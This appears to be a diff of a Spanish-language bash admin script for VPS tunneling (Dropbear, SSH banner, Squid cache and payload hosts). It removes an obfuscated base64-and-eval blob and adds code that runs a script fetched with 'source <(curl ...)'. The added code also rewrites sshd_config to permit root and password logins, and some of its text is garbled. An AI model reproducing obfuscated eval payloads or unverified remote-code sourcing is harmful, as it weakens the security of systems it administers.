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 | r";ewsenkyepmDFxQALawxuBNEZXqOtAQMRmgcfYnUvOUrtaiwprCEELhLQYDwgWWTBmwIKxJnQiBFUtHoFpCHFfRJUiTqyHGfZFPIw="nfjwVXeVJZubtPUSRcUTAYcAdOgiwhqshwiabHnpiYTrJhDLmxgjNXjlKNSkhQgTyytzsoawlcozwgDzoniEMNQBuanzvjNFUkHx";vTCampphzfrCBRMDpOLvxPYEoVmEFUpCmLwkVmQESZXVlUtjhDpoSEpRmpjuSPxxuQTDyNIImftlYHaFnEuwRHHJMgkqmEuxhMGV="";gAPAmflADtNEqjmahrRfMZsWfAXPdfsmmuRcJKGIFynxjieAqgLQzYRXtcsyVRBaJkjWYMVabkXHnRFpeAlrULjmzNLebNlTAEkZ="as";dVbagNIZKXBbvpNiWFfYOhHEhfHfwDknHeuBaqMQozfqjKJjqDlYgNhmmzpyQGRuQkHBBJheHciYNffJJdCkjaQHywwyjQGJZShg="wgxOuGfrVXCEuDGTVgjGJqUEQDwBSwSnoLZHxNdEPsunoPhsAOxxEpWRQvRvlvBZNXCHAlsBCfNRskpEaLXCOBGABfaBCKfNZsXk";iwkdhWSpDXcqgsYOdpoNgJiAEhQrMyknqZLkfAVPVEaapQEiPrOlSBdbFWsTVDwjCNMTtHDBJfOWHOfzkGMYKzoIABobeiDBcKMm="JWuaLtktbWRCDKfMvXGyaHYaGTdpekwXiGvAsZTHuakGDhBVkEWEbLAoZhadlriJSlHyBPZaPimieaHcaRGiuExgvDaNojDLlIHE";zwbCNtngCpJqhORCQSqbnXWJPdDnxNyJBLZhJuzrHsVmYWVAEwlSqaPWRnZAHdqlKCuQrpjDoSvUbZRFESGoDotBZSvfsKEPFRyR="o";PbUHlCwvYxgweTcLitxddYAnyICSdsDOLSNUAdNWRwVujapjZnsxnpejcThVoTBrnCsTbChbWywZawehcfehMhWIBTkFcVSXLGkn="6";TNYUbVrsYYVfxpXOpNtRYVzVirLfxHtILziQrrOtkhmfMzsShWtzpVVccAKfSMTlkpflMskUAGifGNhkGkdHPgGBJhiVLDCQpMUv="MQflEgPKNuzxVJOYyTelDHhrpFchzwBtEgKWmjOkaaKaCSDivMlylgQSkPAmNkDqLWoZdriIvGQRYbLuSFrNDYHuBwnHoXllHKpp";kBydRivsXhPgDRDIbvzAqHcrHWXTZVbPhBGgamdgsIIAeuvucPgJRanGSKpMtUqMhOBuZWnxnOSKVvJtNQpDZbdEDQxlJSdtCRAU=" -d";yFKygLoxSyvdCTnkhEgPTzkxEpiMdehKfhbapFCKIedpEUyQMJhaLvkrdxMLHIPGNOjETvfoOIJHMjyiAzCQRLXjvhrtvebwVeEI="BzbZJzndwxrVYRkeqZfvdPmjylsnKvNCXulXjcrpVGhYtSgqjGexLQyAIKCUJilcvpsTidWeNMddcBQZHrqwdPyEDYOGNXLMvjGS";cMEMWhhawmkWwCjaeNJoEFrRVxshesxpQDjUyJdGQsKZTyOgjxPdGAHRxYCRBZTSUYBznJCXBwxHInyzssTMyrKRhExijxjorayk="";bTkWhxfSDzUeSGZVdGutzzpMoJDthlyesyYbjinGvYCTLVmEMbUkhqfEBIabiqHqMIcAbirGqGqdNUIzGKGleIXcfbYjrYGVItvG="b";lTlMaeIWPUDNpNfMJLKciCkYBxBgOUvzcjeTdrpNOmDjlOdUliONbQiXjyQEUltgJyumbNyFICwDJTHGvFjFTtWCXgjITcoMiJsd="e";fuMbKEVKYXxOoiaDAdlKVITMAYSKzFewqMGFJsVmoMQhWNgBYkOFqKNRgyLHAzQfExqmohLmCjyOYfAWKeSiVjSQzadCvPehqsTQ="v |";Tx=Eds;tcdrXziryBZkchKbgKZJCINsTqkcBjTnpPaVJcOUYpnQTJrEyWyqVWvOsDMTHZIVupdujuPOOFNfTNJwDYLKspFOgpzgyCzGeODK="";vujxGPnmYAOTAzbGXNuqinqhVnXBnwAtMzjDdTnVqirlbfgKPkSMKVeNmjjnJEXzctBHrrUhgocHPGMRQdurNNhnfFuuCmoeAKNB=$(eval "$vTCampphzfrCBRMDpOLvxPYEoVmEFUpCmLwkVmQESZXVlUtjhDpoSEpRmpjuSPxxuQTDyNIImftlYHaFnEuwRHHJMgkqmEuxhMGV$lTlMaeIWPUDNpNfMJLKciCkYBxBgOUvzcjeTdrpNOmDjlOdUliONbQiXjyQEUltgJyumbNyFICwDJTHGvFjFTtWCXgjITcoMiJsd$pijZxaiwjpmXjiCMIZZjBHSsAEskbVtiQKOBpnvHsPCVbQTSYtbzjTUztMxRnGiRAwKoCXvojQogneSCBBXEoiJLwcKTwIibCyrq$QsODLqwEIHyEGvsbFXxhunLEKZjUHPrRaWplwannzmPMdaxdsXMMyOKtBRGRoyDibvTkvyQoSdyctGnfquSxfcgCOptYZeIrDPyA$zwbCNtngCpJqhORCQSqbnXWJPdDnxNyJBLZhJuzrHsVmYWVAEwlSqaPWRnZAHdqlKCuQrpjDoSvUbZRFESGoDotBZSvfsKEPFRyR$LgpWSLiUJFYRDZDIhjtqfnBesrLlzUOlTRMokRjslqnHWdxOeSWYGxpLJUDyKXAoGJIQgDFoEGtkcOVCMLhXdGDIXRyWFHNEUDCJ$lTlMaeIWPUDNpNfMJLKciCkYBxBgOUvzcjeTdrpNOmDjlOdUliONbQiXjyQEUltgJyumbNyFICwDJTHGvFjFTtWCXgjITcoMiJsd$fuMbKEVKYXxOoiaDAdlKVITMAYSKzFewqMGFJsVmoMQhWNgBYkOFqKNRgyLHAzQfExqmohLmCjyOYfAWKeSiVjSQzadCvPehqsTQ$vTCampphzfrCBRMDpOLvxPYEoVmEFUpCmLwkVmQESZXVlUtjhDpoSEpRmpjuSPxxuQTDyNIImftlYHaFnEuwRHHJMgkqmEuxhMGV$bTkWhxfSDzUeSGZVdGutzzpMoJDthlyesyYbjinGvYCTLVmEMbUkhqfEBIabiqHqMIcAbirGqGqdNUIzGKGleIXcfbYjrYGVItvG$tcdrXziryBZkchKbgKZJCINsTqkcBjTnpPaVJcOUYpnQTJrEyWyqVWvOsDMTHZIVupdujuPOOFNfTNJwDYLKspFOgpzgyCzGeODK$gAPAmflADtNEqjmahrRfMZsWfAXPdfsmmuRcJKGIFynxjieAqgLQzYRXtcsyVRBaJkjWYMVabkXHnRFpeAlrULjmzNLebNlTAEkZ$lTlMaeIWPUDNpNfMJLKciCkYBxBgOUvzcjeTdrpNOmDjlOdUliONbQiXjyQEUltgJyumbNyFICwDJTHGvFjFTtWCXgjITcoMiJsd$PbUHlCwvYxgweTcLitxddYAnyICSdsDOLSNUAdNWRwVujapjZnsxnpejcThVoTBrnCsTbChbWywZawehcfehMhWIBTkFcVSXLGkn$QsODLqwEIHyEGvsbFXxhunLEKZjUHPrRaWplwannzmPMdaxdsXMMyOKtBRGRoyDibvTkvyQoSdyctGnfquSxfcgCOptYZeIrDPyA$xOFLADFybNRqtIWElsIWGzPlBcBbeYkhviweHXcTCngkaWQkjyEwkyTWGzrHVMpjyhRwKRKJNwROvTUDYeyfoMUydGdOEbWSeAyn$kBydRivsXhPgDRDIbvzAqHcrHWXTZVbPhBGgamdgsIIAeuvucPgJRanGSKpMtUqMhOBuZWnxnOSKVvJtNQpDZbdEDQxlJSdtCRAU$tcdrXziryBZkchKbgKZJCINsTqkcBjTnpPaVJcOUYpnQTJrEyWyqVWvOsDMTHZIVupdujuPOOFNfTNJwDYLKspFOgpzgyCzGeODK");eval "$cMEMWhhawmkWwCjaeNJoEFrRVxshesxpQDjUyJdGQsKZTyOgjxPdGAHRxYCRBZTSUYBznJCXBwxHInyzssTMyrKRhExijxjorayk$vujxGPnmYAOTAzbGXNuqinqhVnXBnwAtMzjDdTnVqirlbfgKPkSMKVeNmjjnJEXzctBHrrUhgocHPGMRQdurNNhnfFuuCmoeAKNB$vTCampphzfrCBRMDpOLvxPYEoVmEFUpCmLwkVmQESZXVlUtjhDpoSEpRmpjuSPxxuQTDyNIImftlYHaFnEuwRHHJMgkqmEuxhMGV$QsODLqwEIHyEGvsbFXxhunLEKZjUHPrRaWplwannzmPMdaxdsXMMyOKtBRGRoyDibvTkvyQoSdyctGnfquSxfcgCOptYZeIrDPyA" \ No newline at end of file + +#source /etc/scpdk1/cabecalho "ports_" +#source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/msg-bar/msg) +source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/msg-bar/msg) + +_SFTP="$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN" | grep apache2)" +portFTP=$(echo -e "$_SFTP" |cut -d: -f2 | cut -d' ' -f1 | uniq) +portFTP=$(echo ${portFTP} | sed 's/\s\+/,/g' | cut -d , -f1) + +function chekKEY { +Key="$(cat /etc/cghkey)" +} + +number_var () { +unset var_number +if (echo "$1" | egrep '[^0-9]' &> /dev/null); then +echo -e "${cor[5]} SOLO NUMEROS!" +else +var_number="$1" +fi +} +fun_bar () { +comando="$1" +_=$( $comando > /dev/null 2>&1 ) & > /dev/null +pid=$! +while [[ -d /proc/$pid ]]; do +echo -ne " \033[1;33m[" +for((i=0; i<20; i++)); do +echo -ne "\033[1;31m##" +sleep 0.5 +done +echo -ne "\033[1;33m]" +sleep 1s +echo ;tput cuu1 && tput dl1 +done +echo -e " \033[1;33m[\033[1;31m########################################\033[1;33m] - \033[1;32m100%\033[0m" +sleep 1s +} +sslkk (){ +sslports=`netstat -tunlp | grep stunnel | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/ssl.txt && echo | cat /tmp/ssl.txt | tr '\n' ' ' > /ADMcgh/sslports.txt && cat /ADMcgh/sslports.txt`; +pt=$(netstat -nplt |grep 'sshd' | awk -F ":" NR==1{'print $2'} | cut -d " " -f 1) +} +#par=$(v2ray info | grep path |awk -F : '{print $4}') + +verif_ptrs() { + porta=$1 + PT=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" | grep -v "COMMAND" | grep "LISTEN") + for pton in $(echo -e "$PT" | cut -d: -f2 | cut -d' ' -f1 | uniq); do + svcs=$(echo -e "$PT" | grep -w "$pton" | awk '{print $1}' | uniq) + [[ "$porta" = "$pton" ]] && { + echo -e "\n\033[1;31mPUERTO \033[1;33m$porta \033[1;31mESTA EN USO POR \033[1;37m$svcs\033[0m" + sleep 0.5 + return 0 + } + done + } + +fun_log () { +[[ -e /bin/ejecutar/sshd_config ]] && { +#### +sysvar=$(cat -n /etc/issue |grep 1 |cut -d' ' -f6,7,8 |sed 's/1//' |sed 's/ //' | grep -o Ubuntu) +[[ ! $(cat /etc/shells|grep "/bin/false") ]] || sed -i "s%/bin/false%filemancgh%g" /etc/shells +[[ ! $(cat /etc/shells|grep "/usr/sbin/nologin") ]] || sed -i "s%/usr/sbin/nologin%filemancgh%g" /etc/shells +sed -i "/filemancgh/d" /etc/shells +echo "/bin/false" >> /etc/shells +echo "/usr/sbin/nologin" >> /etc/shells +[[ "$sysvar" != "" ]] && { +echo -e "Port 22 +Protocol 2 +KeyRegenerationInterval 3600 +ServerKeyBits 1024 +SyslogFacility AUTH +LogLevel INFO +LoginGraceTime 120 +PermitRootLogin yes +StrictModes yes +RSAAuthentication yes +PubkeyAuthentication yes +IgnoreRhosts yes +RhostsRSAAuthentication no +HostbasedAuthentication no +PermitEmptyPasswords no +ChallengeResponseAuthentication no +PasswordAuthentication yes +X11Forwarding yes +X11DisplayOffset 10 +PrintMotd no +PrintLastLog yes +TCPKeepAlive yes +#UseLogin no +AcceptEnv LANG LC_* +Subsystem sftp /usr/lib/openssh/sftp-server +UsePAM yes +Banner /etc/bannerssh" > /etc/ssh/sshd_config +} || { +echo -e "Port 22 +Protocol 2 +KeyRegenerationInterval 3600 +ServerKeyBits 1024 +SyslogFacility AUTH +LogLevel INFO +LoginGraceTime 120 +PermitRootLogin yes +StrictModes yes +RSAAuthentication yes +PubkeyAuthentication yes +IgnoreRhosts yes +RhostsRSAAuthentication no +HostbasedAuthentication no +PermitEmptyPasswords no +ChallengeResponseAuthentication no +PasswordAuthentication yes +X11Forwarding yes +X11DisplayOffset 10 +PrintMotd no +PrintLastLog yes +TCPKeepAlive yes +#UseLogin no +AcceptEnv LANG LC_* +Subsystem sftp /usr/lib/openssh/sftp-server +UsePAM yes +Banner /etc/bannerssh" > /etc/ssh/sshd_config +} +} || { +cp /etc/ssh/sshd_config /bin/ejecutar/sshd_config +sysvar=$(cat -n /etc/issue |grep 1 |cut -d' ' -f6,7,8 |sed 's/1//' |sed 's/ //' | grep -o Ubuntu) +[[ ! $(cat /etc/shells|grep "/bin/false") ]] || sed -i "s%/bin/false%filemancgh%g" /etc/shells +[[ ! $(cat /etc/shells|grep "/usr/sbin/nologin") ]] || sed -i "s%/usr/sbin/nologin%filemancgh%g" /etc/shells +sed -i "/filemancgh/d" /etc/shells +echo "/bin/false" >> /etc/shells +echo "/usr/sbin/nologin" >> /etc/shells +[[ "$sysvar" != "" ]] && { +echo -e "Port 22 +Protocol 2 +KeyRegenerationInterval 3600 +ServerKeyBits 1024 +SyslogFacility AUTH +LogLevel INFO +LoginGraceTime 120 +PermitRootLogin yes +StrictModes yes +RSAAuthentication yes +PubkeyAuthentication yes +IgnoreRhosts yes +RhostsRSAAuthentication no +HostbasedAuthentication no +PermitEmptyPasswords no +ChallengeResponseAuthentication no +PasswordAuthentication yes +X11Forwarding yes +X11DisplayOffset 10 +PrintMotd no +PrintLastLog yes +TCPKeepAlive yes +#UseLogin no +AcceptEnv LANG LC_* +Subsystem sftp /usr/lib/openssh/sftp-server +UsePAM yes +Banner /etc/bannerssh" > /etc/ssh/sshd_config +} || { +echo -e "Port 22 +Protocol 2 +KeyRegenerationInterval 3600 +ServerKeyBits 1024 +SyslogFacility AUTH +LogLevel INFO +LoginGraceTime 120 +PermitRootLogin yes +StrictModes yes +RSAAuthentication yes +PubkeyAuthentication yes +IgnoreRhosts yes +RhostsRSAAuthentication no +HostbasedAuthentication no +PermitEmptyPasswords no +ChallengeResponseAuthentication no +PasswordAuthentication yes +X11Forwarding yes +X11DisplayOffset 10 +PrintMotd no +PrintLastLog yes +TCPKeepAlive yes +#UseLogin no +AcceptEnv LANG LC_* +Subsystem sftp /usr/lib/openssh/sftp-server +UsePAM yes +Banner /etc/bannerssh" > /etc/ssh/sshd_config +} +} +###################### + +} + + +ban_inex () { +ban=$(cat < /etc/scpdk1/menu_credito | head -1) +echo -e " " +echo -e "BANNER INEXISTENTE - RECOMENDADO MODIFICAR TU BANNER" +fun_bar +credit=$(cat 🐉

' > /etc/bannerssh +echo -e '

'" $credit "'® | '"$credi"'

' >> /etc/bannerssh +[[ -d /etc/dropbear ]] && { +[[ -e /etc/bannerssh ]] && cat /etc/bannerssh > /etc/dropbear/banner +} || { +mkdir /etc/dropbear +[[ -e /etc/bannerssh ]] && cat /etc/bannerssh > /etc/dropbear/banner +} +echo -e "\033[1;32mCambia Banner en ( * \033[1;33m Menu 1\033[1;32m *\033[1;33m opcion 6 \033[1;32m*\033[1;32m)" +read -p "Presiona Enter para Continuar" +clear&&clear +dropbearuniversal +} + +function dropbearuniversal(){ +echo "?? Preparando Instalacion, Espere un Momento" +echo -ne "\033[1;31m[ ! ] RESOLVIENDO SSH -> DROPBEAR " +( +service dropbear stop 1> /dev/null 2> /dev/null +service ssh restart 1> /dev/null 2> /dev/null +) && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +echo -ne "\033[1;31m[ ! ] VERIFICANDO COMPATIBILIDAD DEL BANNER " && sleep 0.5s && echo -e "\033[1;32m [OK]" +[[ -e /etc/bannerssh ]] && { +#### +fun_log +#### +echo " ?? Instalando Dropbear" +fun_bar 'apt install dropbear -y' +service dropbear stop 1> /dev/null 2> /dev/null +msg -bar + while true; do + echo -ne "\033[1;37m" + echo -e " PUERTOS RECOMENDADOS A USAR ( 80/90/100/443 Default 143 )" + echo -e " " + read -p " PUERTO DROPBEAR : " puertodropbear -e -i "143" + tput cuu1 && tput dl1 + PortDROP=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $puertodropbear` + [[ -n "$PortDROP" ]] || break + prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$puertodropbear"{print $9}'` + echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup" + unset puertodropbear + msg -bar + done +msg -bar +echo $puertodropbear > /etc/default/dadd +echo -e 'NO_START=0' > /etc/default/dropbear +echo -e '# the TCP port that Dropbear listens on' >> /etc/default/dropbear +echo -e '#DROPBEAR_PORT=22' >> /etc/default/dropbear +echo -e 'DROPBEAR_EXTRA_ARGS="-p '$puertodropbear'"' >> /etc/default/dropbear +echo -e 'DROPBEAR_BANNER="/etc/dropbear/banner"' >> /etc/default/dropbear +echo -e "DROPBEAR_RECEIVE_WINDOW=65536" >> /etc/default/dropbear +[[ ! $(cat /etc/shells|grep "/bin/false") ]] || sed -i "s%/bin/false%filemancgh%g" /etc/shells +[[ ! $(cat /etc/shells|grep "/usr/sbin/nologin") ]] || sed -i "s%/usr/sbin/nologin%filemancgh%g" /etc/shells +sed -i "/filemancgh/d" /etc/shells +echo "/bin/false" >> /etc/shells +echo "/usr/sbin/nologin" >> /etc/shells +[[ ! -e /etc/dropbear/banner ]] && touch /etc/dropbear/banner || cat /etc/bannerssh > /etc/dropbear/banner +service dropbear restart 1> /dev/null 2> /dev/null +service ssh restart 1> /dev/null 2> /dev/null +dropbearports=`netstat -tunlp | grep dropbear | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/dropbear.txt && echo | cat /tmp/dropbear.txt | tr '\n' ' ' > /ADMcgh/dropbearports.txt && cat /ADMcgh/dropbearports.txt`; +service sshd restart 1> /dev/null 2> /dev/null +echo -e "\033[1;31m ?? DROPBEAR SE EJECUTA EN PUERTO\033[0m" $dropbearports " ESCOJIDO " $puertodropbear +service dropbear start 1> /dev/null 2> /dev/null +[[ -f "/usr/sbin/ufw" ]] && ufw allow $puertodropbear/tcp 1> /dev/null 2> /dev/null +fun_eth +return 0 + } || { +ban_inex +return 1 +} +} + + +#LISTA PORTAS +mportas () { +unset portas +portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN") +while read port; do +var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}') +[[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n" +done <<< "$portas_var" +i=1 +echo -e "$portas" +} + +#MEU IP +fun_ip () { +[[ -e /etc/catIPlocal && -e /etc/catIP ]] && { +MEU_IP=$(cat < /etc/catIPlocal) +MEU_IP2=$(cat < /etc/catIP) +[[ "$MEU_IP" != "$MEU_IP2" ]] && IP="$MEU_IP2" || IP="$MEU_IP" +} || { +MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1) && echo $MEU_IP > /etc/catIPlocal +MEU_IP2=$(wget -qO- ipv4.icanhazip.com) && echo $MEU_IP2 > /etc/catIP +[[ "$MEU_IP" != "$MEU_IP2" ]] && IP="$MEU_IP2" || IP="$MEU_IP" +} +} +meu_ip () { +fun_ip +} + + +#ETHOOL SSH +fun_eth () { +eth=$(ifconfig | grep -v inet6 | grep -v lo | grep -v 127.0.0.1 | grep "encap:Ethernet" | awk '{print $1}') + [[ $eth != "" ]] && { + msg -bar + echo -e "${cor[3]} Aplicar Sistema Para Mejorar Sistema SSH?" + echo -e "${cor[3]} Opcion Para Usuarios Avanzados" + msg -bar + read -p " [S/N]: " -e -i n sshsn + [[ "$sshsn" = @(s|S|y|Y) ]] && { + echo -e "${cor[1]} Correcion de problemas de paquetes en SSH..." + echo -e " Quota en Entrada" + echo -ne "[ 1 - 999999999 ]: "; read rx + [[ "$rx" = "" ]] && rx="999999999" + echo -e " Quota en Salida" + echo -ne "[ 1 - 999999999 ]: "; read tx + [[ "$tx" = "" ]] && tx="999999999" + apt-get install ethtool -y > /dev/null 2>&1 + ethtool -G $eth rx $rx tx $tx > /dev/null 2>&1 + } + msg -bar + } +} + + + +squid_cache () { +msg -bar +echo -e "${cor[5]} Caché de Squid no es más Que + Un historial de navegación en Squid + Que ahorrará datos al abrir sitios + Alojados en su caché + ¡El script hará una breve comprobación!" +msg -bar +sleep 0.5s +if [ -e /etc/squid/squid.conf ]; then +squid_var="/etc/squid/squid.conf" +elif [ -e /etc/squid3/squid.conf ]; then +squid_var="/etc/squid3/squid.conf" +else +echo -e "${cor[5]} No se ha identificado Squid!" +return 1 +fi +teste_cache="#CACHE DO SQUID" +if [[ `grep -c "^$teste_cache" $squid_var` -gt 0 ]]; then + [[ -e ${squid_var}.bakk ]] && { + echo -e "${cor[5]} Desactivando SquidCache !!\n ESPERA PORFAVOR !" + mv -f ${squid_var}.bakk $squid_var + echo -e "${cor[5]} COLOCAR ARCHIVO ONLINE" + msg -bar + service squid restart > /dev/null 2>&1 + service squid3 restart > /dev/null 2>&1 + return 0 + } +fi +echo -e "${cor[5]} ¡Squid esta Activo en tu sistema!\n ${cor[5]} No hay servicio de caché en el Squid!\n Activando el servicio SquidCache!" +msg -bar +_tmp="#CACHE DO SQUID\ncache_mem 200 MB\nmaximum_object_size_in_memory 32 KB\nmaximum_object_size 1024 MB\nminimum_object_size 0 KB\ncache_swap_low 90\ncache_swap_high 95" +[[ "$squid_var" = "/etc/squid/squid.conf" ]] && _tmp+="\ncache_dir ufs /var/spool/squid 100 16 256\naccess_log /var/log/squid/access.log squid" || _tmp+="\ncache_dir ufs /var/spool/squid3 100 16 256\naccess_log /var/log/squid3/access.log squid" +while read s_squid; do +[[ "$s_squid" != "cache deny all" ]] && _tmp+="\n${s_squid}" +done < $squid_var +cp ${squid_var} ${squid_var}.bakk +echo -e "${_tmp}" > $squid_var +echo -e "${cor[5]} Reiniciando Servicios Espera!\n ESPERA PORFAVOR!" +msg -bar +service squid restart > /dev/null 2>&1 +service squid3 restart > /dev/null 2>&1 +} + +add_host_squid () { +payload="/etc/payloads" +if [ ! -f "$payload" ]; then +echo -e "${cor[5]} $payload No econtrado" +echo -e "${cor[5]} Squid no instalado" +return +fi +msg -bar +echo -e "\033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m<\033[0;33m${cor[3]} Añadir NUEEVO Host a Squid" +echo -e "\033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m<\033[0;33m${cor[3]} Quitar 1 host de Squid" +msg -bar +read -p " | 1 - 2 |: " var_payload +number_var $var_payload +[[ -z $var_number ]] && echo -e "\033[1;31m Opcion Invalida" && return +[[ $var_payload -gt 2 ]] && echo -e "\033[1;31m Opcion Invalida" && return +[[ "$var_payload" = "1" ]] && { +echo -e "${cor[4]} Añadir Host a Squid" +echo -e "${cor[5]} Dominios actuales en el archivo $payload:" +msg -bar +cat $payload | awk -F "/" '{print $1,$2,$3,$4}' +msg -bar +echo "Escriba el Host-Squid que desea agregar " +read -p "Iniciando con un ., ejemplo: .whatsapp.net: " hos +if [[ $hos != \.* ]]; then +echo -e "${cor[5]} Iniciando con un ., ejemplo: .whatsapp.net: " +return +fi +host="$hos/" +if [[ -z $host ]]; then +echo -e "${cor[5]} ¡Esta vacío, no ha escrito nada!" +return +fi +if [[ `grep -c "^$host" $payload` -eq 1 ]]; then +echo -e "${cor[5]} El dominio ya existe en el archivo" +return +fi +echo "$host" >> $payload && grep -v "^$" $payload > /tmp/a && mv /tmp/a $payload +echo -e "${cor[5]} ¡Éxito, Archivo Actualizado!" +msg -bar +cat $payload | awk -F "/" 